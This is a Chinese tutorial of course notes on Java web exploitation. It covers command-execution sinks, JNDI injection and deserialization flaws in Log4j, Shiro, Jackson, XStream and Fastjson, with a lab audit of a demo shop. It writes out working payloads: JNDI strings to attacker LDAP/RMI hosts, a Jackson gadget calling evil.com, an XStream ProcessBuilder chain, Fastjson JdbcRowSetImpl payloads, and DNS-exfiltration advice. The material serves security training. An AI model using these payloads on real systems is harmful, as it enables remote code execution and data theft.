当前位置: 首页 > news >正文

小迪安全v2023学习笔记(六十七讲)—— Java安全JNDI注入五大不安全组件RCE不出网

文章目录

  • 前记
  • WEB攻防——第六十七天
    • Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网
      • Java安全 - RCE执行-五大类函数调用
        • 原理
        • 靶场演示
          • Runtime
          • ProcessBuilder
          • ProcessImpl
          • Groovy
          • LoadJsExec
      • Java安全 - JNDI注入-RMI&LDAP&版本
        • 原理
        • 靶场演示
      • Java安全 - 不安全组件-JSON&XML&验证&日志
        • Log4j
          • 基本信息
          • 靶场演示
        • Shiro
          • 基本信息
          • 靶场演示
        • Jackson
          • 基本信息
          • 靶场演示
        • XStream
          • 基本信息
          • 靶场演示
        • FastJson
          • 基本信息
          • 靶场演示
        • Yakit使用
        • 审计案例演示
          • log4j
          • Fastjson
      • Java安全 - 不出网

前记

  • 今天是小迪安全的第六十七天,本节课是Java安全的第二讲,主要内容围绕JNDI注入、Java中五大不安全组件展开
  • 这节课的内容比较多,然后以实战为主,建议代码审计部分自己审完之后再看笔记,多尝试几种思路
  • 所用到的源码资源已放至下方链接,有需要的自取:
    • https://pan.baidu.com/s/1ZC1LKQKzQScRBtvPtZxh_Q
    • 提取码:ming

WEB攻防——第六十七天

Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网

Java安全 - RCE执行-五大类函数调用

原理
  • 造成RCE的原因
    • 使用命令执行的方法
    • 传入方法的参数可控
  • 在Java中,常见的命令执行类/方法有:
    1. Runtime
    2. ProcessBuilder
    3. ProcessImpl
    4. Groovy
    5. LoadJsExec
  • 在实战中,黑盒主要是看参数名和参数值来判断是否有RCE;大部分都是通过白盒审计出来的,主要看是否有上面的类/函数,并且参数可控
靶场演示
Runtime
  • 这个是我们举例子见得最多的RCE类
  • 利用Runtime主要是调用下面的代码造成漏洞:
String cmd;
Runtime.getRuntime.exec(cmd);
  • 比如这里靶场中传入calc命令,就直接弹计算器了:
    在这里插入图片描述

  • 这个没什么好说的,然后他的防御方式是进行黑名单/白名单过滤,只能使用指定的命令

ProcessBuilder
  • 这个类主要是用来创建并启动操作系统进程(即运行外部程序或命令)
  • 它产生漏洞主要的代码如下:
String[] cmdList = {"cmd", "/c", "ping -n 1 " + ip};
ProcessBuilder pb = new ProcessBuilder(cmdList);  
process = pb.start();
  • 这里cmdList的意思是:

    • "cmd"调用Windows的cmd.exe
    • "/c"表示执行完后面的命令就立刻退出
    • "ping -n 1"表示执行的命令
  • 然后创建了一个pb去执行,程序员会以为这个固定了写法很安全

  • 但是我们可以通过管道符让他一次执行多个命令,造成RCE:
    在这里插入图片描述

  • 安全写法还是进行黑白名单过滤

ProcessImpl
  • ProcessImpl是一个底层的接口,上面的两个类也是实现的这个接口
  • 由于这个是个接口,所以要实现RCE需要通过反射的方式间接调用,漏洞代码如下:
// 反射得到ProcessImpl类
Class<?> clazz = Class.forName("java.lang.ProcessImpl");// 获取其start方法
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);  // 临时获取start方法的访问控制权限
method.setAccessible(true);  // 传入参数,调用start方法
Process e = (Process) method.invoke(null, new String[]{cmd}, null, null, null, false);
  • 靶场中可以自己尝试执行命令
Groovy
  • 这个是一种开源的基于JVM的动态语言,语法与 Java 高度相似,但写起来像脚本一样简洁。它既可以像 Java 一样编译成字节码 .class 文件,也可以直接当成脚本解释执行。

  • 需要外部引入,但是直接运行在JVM之上:
    在这里插入图片描述

  • 这里产生漏洞的代码如下:

GroovyShell shell = new GroovyShell();  
shell.evaluate(cmd);
  • 它的执行语句是输入"xxx".execute()
    在这里插入图片描述
LoadJsExec
  • 这个不是一个类,它的意思是通过加载远程的恶意JS代码,来造成RCE
  • 但是这个东西在Java8之后移除了ScriptEngineManagereval方法
  • 造成漏洞的代码如下:
public void jsEngine(String url) throws Exception {ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);String payload = String.format("load('%s')", url);engine.eval(payload, bindings);
}     
  • 比如我们有这样一个JS代码:
var a = mainOutput(); 
function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("calc")
};
  • 将他放到一个服务器上,然后加载这个文件:
    在这里插入图片描述

Java安全 - JNDI注入-RMI&LDAP&版本

原理
  • JNDI 全称为 Java Naming and DirectoryInterface(Java 命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI 支持的服务主要有:DNS、LDAP、CORBA、RMI 等
    • RMI:远程方法调用注册表
    • LDAP:轻量级目录访问协议
  • 这些其实在前面的Java安全开发中全部讲过,造成漏洞的原因主要是因为调用到了InitialContext().lookup()方法
  • 在RMI服务中调用了改方法的类有
    1. org.springframework.transaction.jta.JtaTransactionManager.readObject()
    2. com.sun.rowset.JdbcRowSetImpl.execute()
    3. javax.management.remote.rmi.RMIConnector.connect()
    4. org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)
  • 在LDAP服务中调用了改方法的类有
    1. InitialDirContext.lookup()
    2. Spring LdapTemplate.lookup()
    3. LdapTemplate.lookupContext()
  • 在实战中,黑盒基本检测不出来;最主要的是白盒审计出来的,通过上面的类方法和可控变量来判断是否存在该漏洞
靶场演示
  • 这里的话原生的JNDI注入就是通过看有没有上述的类调用了InitialContext().lookup()方法
  • 造成漏洞的代码如下:
public void vul(String content) {try {Context ctx = new InitialContext();ctx.lookup(content);} catch (Exception e) {log.warn("JNDI错误消息");}
}
  • 比如这里我们通过之前的JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具去生成恶意的链接:
    在这里插入图片描述

  • 然后一个一个试,看哪个可以就用哪个:
    在这里插入图片描述

  • 这里就成功弹出了,需要注意的是,关于这个JNDI注入,一定要关注的就是JDK的版本
    在这里插入图片描述

  • 当然也需要关注对方SpringBootTomcat的一个版本,才能针对性的使用这些payload

Java安全 - 不安全组件-JSON&XML&验证&日志

  • 对于这些不安全的组件,测试思路如下:
    • 黑盒中就看它哪里可能记录日志,然后到处乱插payload测试,或者知道它用的一个版本,就直接通过历史漏洞打
    • 白盒审计中主要是看当前程序用的这个组件是否符合漏洞版本,然后利用历史漏洞打
Log4j
基本信息
  • 介绍:Apache的一个开源项目,是一个基于Java的日志记录框架
  • 历史漏洞: https://avd.aliyun.com/search?q=Log4j
  • 流量特征${jndi:rmi://ip/xxx}${jndi:ldap://ip/xxx}
靶场演示
  • 这里就直接源码审计一下吧,打开靶场的源码,然后搜一下有没有用到log4j,版本是否过时:
    在这里插入图片描述

  • 比如这里用到了2.8.2版本,然后在刚刚的网站或者百度搜索一下有没有这个版本的漏洞:
    在这里插入图片描述

  • 所以这里是有的啊,然后我们就直接执行刚刚生成的payload看看能不能执行:
    在这里插入图片描述

Shiro
基本信息
  • 介绍:Java安全框架,能够用于身份验证、授权、加密和会话管理
  • 历史漏洞: https://avd.aliyun.com/search?q=Shiro
  • 重大漏洞
    • Shiro-550
    • Shiro-721
  • 流量特征setCookie=rememberMe
靶场演示
  • 这里造成漏洞的原因是因为Shiro中有一个rememberMe功能点,它使用的是硬编码密钥,因此可以利用默认的密钥进行反序列化造成RCE
  • 遇到这个的话就直接上工具了,前期也演示过,这里就不再演示了
Jackson
基本信息
  • 介绍:当下流行的json解释器,负责处理Json的序列化与反序列化
  • 历史漏洞: https://avd.aliyun.com/search?q=Jackson
  • 流量特征
{"@class": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://evil.com/Exploit","autoCommit": true
}
靶场演示
  • 造成漏洞的原因是因为 Jackson-databind 支持 Polymorphic Deserialization 特性(默认情况下不开启
  • 当 json 字符串转换的 Target class 中有 polymorph fields,即字段类型为接口、抽象类或 Object 类型时,攻击者可以通过在 json 字符串中指定变量的具体类型 (子类或接口实现类),来实现实例化指定的类,借助某些特殊的 class,如 TemplatesImpl,可以实现任意代码执行。
  • 靶场当中写入上述payload,让其加载我们的恶意代码即可造成RCE
XStream
基本信息
  • 介绍:开源Java类库,能将对象序列化成XML或XML反序列化为对象
  • 历史漏洞: https://avd.aliyun.com/search?q=XStream
  • 流量特征:XML 里嵌 Java 类名 + 动态标签
<sorted-set><dynamic-proxy><interface>java.lang.Comparable</interface><handler class="java.beans.EventHandler"><target class="java.lang.ProcessBuilder"><command><string>calc</string></command></target><action>start</action></handler></dynamic-proxy>
</sorted-set>
靶场演示
  • 造成漏洞的原因是其 1.4.16 及之前版本黑名单存在缺陷,攻击者可利用sun.rmi.registry.RegistryImpl_Stub构造RMI请求,进而执行任意命令。
  • 这里就不进行演示了,原理和上面的一样
FastJson
基本信息
  • 介绍:阿里巴巴公司开源的json解析器,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean
  • 历史漏洞: https://avd.aliyun.com/search?q=fastjson
  • 流量特征:JSON中出现@type字段,且值为Java全限定类名
靶场演示
  • 漏洞产生的原因是因为@type字段的值会被FastJson加载实例化解析
  • 这里也不再进行演示,payload长这个样子:
{"@type": "Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName": "rmi://jndi.fuzz.red:5/ahld/test","autoCommit": true
}
  • 原理都是差不多的
Yakit使用
  • 这里我们可以使用Yakit中的各种工具去玩

  • 比如dnslog、反连服务器、利用链等等:
    在这里插入图片描述
    在这里插入图片描述

  • 更多的功能后续会讲到…

审计案例演示
  • 这里使用小迪给出的某猫商城进行演示,首先解压压缩包,然后在IDEA中打开,先使用右边的Maven进行cleaninstall
    在这里插入图片描述

  • 然后修改数据库配置,打开/src/main/resources/public下的application.propertiesjdbc.properties,修改账号密码为自己数据库信息

  • 做完这些之后,就打开我们的Navicat,按照之前的操作导入数据库信息,这里用的数据库版本为MySQL5.7

  • 导入完成之后就直接启动项目即可,访问http://localhost:8088/tmall
    在这里插入图片描述

  • 好,环境搭建好了之后,我们就开始审计漏洞了

  • 我们这部分主要是关于Java中五大不安全组件的内容,因此我们可以在pom.xml中直接搜索一下用了哪些组件、它的版本是否存在漏洞

  • 比如这里就用了log4jfastjson这两个组件:
    在这里插入图片描述
    在这里插入图片描述

  • 他们的版本分别是2.10.01.2.58,这两个版本都是存在历史漏洞的

  • Log4j存在CVE-2021-44228的RCE漏洞,fastjson也存在反序列化RCE漏洞

  • 所以我们现在就只需要找到哪里触发了这两个东西即可,我们一个一个找

log4j
  • 这里我们首先是全局搜索一下log4j看哪些地方导入了这个包:
    在这里插入图片描述

  • 这里倒没几个文件有,第一个是配置文件不用管,剩下的就两个java文件,一个一个查看发现他们都有这个语句:

protected Logger logger = LogManager.getLogger(BaseController.class);
Object o = session.getAttribute("xxxId");
logger.info("xxx",o);
  • 但是因为这里是从session中获取数据,实际上参数并不可控,但是它给我们提示了程序日志的产生语句是logger.info(xxx)

  • 于是我们去搜索一下还有什么地方是这种语法:
    在这里插入图片描述

  • 这里需要注意的是:IDEA不知道是什么特性,搜索的时候尽量多详细搜索几次。

  • 比如这里,我直接搜logger.info并没有小迪演示的功能点,但是搜logger.info("获取就出现了,所以搜索的时候尽量详细一点,可能会有意想不到的结果

  • 那这里我们要找的是参数可控的,那其实很多地方都是可以尝试的,这里我们找到的是这个地方:
    在这里插入图片描述

  • 然后我们需要去找到网站中对应的路径,那这里就是/admin/uploadAdminHeadImage的位置,上传管理员头像

  • 那很简单了,我们先后台登录进去,然后上传图像,把图像名字改成jndi注入的payload不就行了嘛

  • 登录到后台admin/123456,找到我的账户:
    在这里插入图片描述

  • 点击管理员头像,随便上传一张图片然后抓包:
    在这里插入图片描述

  • 这个路径对应上了,转到Repeater模块,把filename改成我们的payload,比如这里在Yakit中生成一个Dnslog域名:
    在这里插入图片描述

  • 所以payload就变成了${jndi:ldap://qcfxnhayxb.dgrh3.cn}
    在这里插入图片描述
    在这里插入图片描述

  • 成功执行,这里也可以试试其他地方,我试了几个都没成功,你们可以下去自己玩玩

Fastjson
  • 同样这里全局搜索一下fastjson看哪里导入了这个包:
    在这里插入图片描述

  • 也是有很多,这里产生漏洞的原因是因为解析JSON格式的数据,所以我们只需要找到解析的语句即可,一般都搜索这几个方法:

    1. JSON.parse(
    2. JSON.parseObject(
    3. JSONObject.parse(
    4. JSONObject.parseObject(
  • 这里主要是第二个方法用得最多:
    在这里插入图片描述

  • 然后我们就依次看看哪些地方的参数是我们可控的,这里我看的是第二个,然后它的JSON解析代码是这样的:

JSONObject object = JSON.parseObject(propertyJson);
  • 于是我们往前去找这个propertyJson是否可控,代码如下:
    在这里插入图片描述

  • 这里的请求路径是admin/product,然后是POST请求,功能是通过添加产品信息,那说明这个可能是可以控制的

  • 现在直接到管理员页面找到功能点,这个是很好找的:
    在这里插入图片描述

  • 可以看到都是对应上的,并且可以抓包看看路径是否对应上:
    在这里插入图片描述

  • 说明就是这里,根据功能提示我们点击“添加一件产品”:
    在这里插入图片描述

  • 填上相关信息之后,点击保存,我们抓包看到propertyJson的值:
    在这里插入图片描述

  • 转到Repeater模块,先将这个东西URL解码格式化,结果如下:

propertyJson = {"1": "棉95.1%+聚氨酯弹性纤维(氨纶)4.9%","2": "宽松","3": "通勤","4": "常规","5": "长袖","6": "连帽","7": "拼色","8": "戚米","9": "18-24周岁","10": "2018年春季","11": "白色+红色+黄色"
}
  • 那这个东西根据代码它会进行JSON解析为字符串,调用JSON.parseObject()方法,而这个方法是FastJson提供的,所以我们直接将这个换成payload
propertyJson = {"1": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://lxnjgkgbfx.zaza.eu.org","autoCommit": true},"2": "宽松","3": "通勤","4": "常规","5": "长袖","6": "连帽","7": "拼色","8": "戚米","9": "18-24周岁","10": "2018年春季","11": "白色+红色+黄色"
}
  • dataSourceName那里换成我们的dnslog地址,然后编码之后发包,很神奇的地方是这里它的地址是/admin/admin/product,如果在Repeater模块需要更改为/admin/product才能够正常发包,否则提示404
  • 而直接抓包后发包它会一直显示”保存中…“,搞不懂
  • 研究了半天不清楚什么情况,最后按照小迪的payload就可以了:
{"@type":"java.net.Inet4Address","val":"lxnjgkgbfx.zaza.eu.org"}

在这里插入图片描述

Java安全 - 不出网

  • 一般都是没有回显判断通用方法:
    1. 直接将结果写在其本地静态资源文件中,如htmljs等,然后访问
    2. 虽然其不出网,但是DNS协议一般都是开通的,因此可以通过dnslog进行数据外带;如果连这个都关了,无法执行dns请求就没办法了
    3. 将命令执行的结果回显到请求Poc的HTTP响应当中
  • 不回显常见判断细节方法参考文章:微信公众平台
http://www.dtcms.com/a/341367.html

相关文章:

  • 2025年中高级后端开发Java岗八股文最新开源
  • 利用 PHP 爬虫获取店铺所有商品实战指南
  • Spring Boot 3.4.x 性能优化实战:用 Undertow 替换 Tomcat 全指南​
  • 自动驾驶汽车机器学习安全实用解决方案
  • 三坐标性能的创新重构,“高精度、紧凑型、高稳定性”三位一体
  • 鸿蒙中Profiler的使用
  • STM32学习笔记16-SPI硬件控制
  • MySQL 语法基础入门:从零开始掌握数据库操作
  • CoreShop微信小程序商城框架开启多租户-添加一个WPF客户端以便进行本地操作(5)
  • 读《精益数据分析》:规模化(Scale)—— 复制成功,进军新市场
  • VMware Workstation | 安装Ubuntu18.04.5
  • 波纹干涩 shader
  • 零知开源——基于STM32F103RBT6与ADXL362三轴加速度计的体感迷宫游戏设计与实现
  • 【Unity3D优化】平衡 Hide 与 Destroy:基于性能等级与 LRU 的 UI 管理策略与实践思考
  • PostgreSQL Certified Master 专访 | 第四期 贾桂军
  • 【Techlog】01入门-井筒数据整合软件的基本认识
  • 控制器调用服务层出现Cannot invoke ... 显示服务层bean对象为null
  • PostgreSQL 流程---更新
  • 编程语言学习
  • 环境搭建:centos7+docker+Oracle
  • 【datawhale组队学习】RAG技术 - TASK02
  • 3dmax 材质 / AO 通道渲染全流程
  • 3D检测笔记:相机模型与坐标变换
  • 超大型公共场所的智慧守护者——人脸动态识别与管理系统
  • 手机截图如何优雅地放在word里
  • 从原理到应用:GPS 定位技术的核心机制与未来发展
  • 心路历程-了解网络相关知识
  • 耐达讯自动化Profibus转光纤技术如何让称重传感器“零误差“运转?
  • 初始推荐系统
  • sed 命令的使用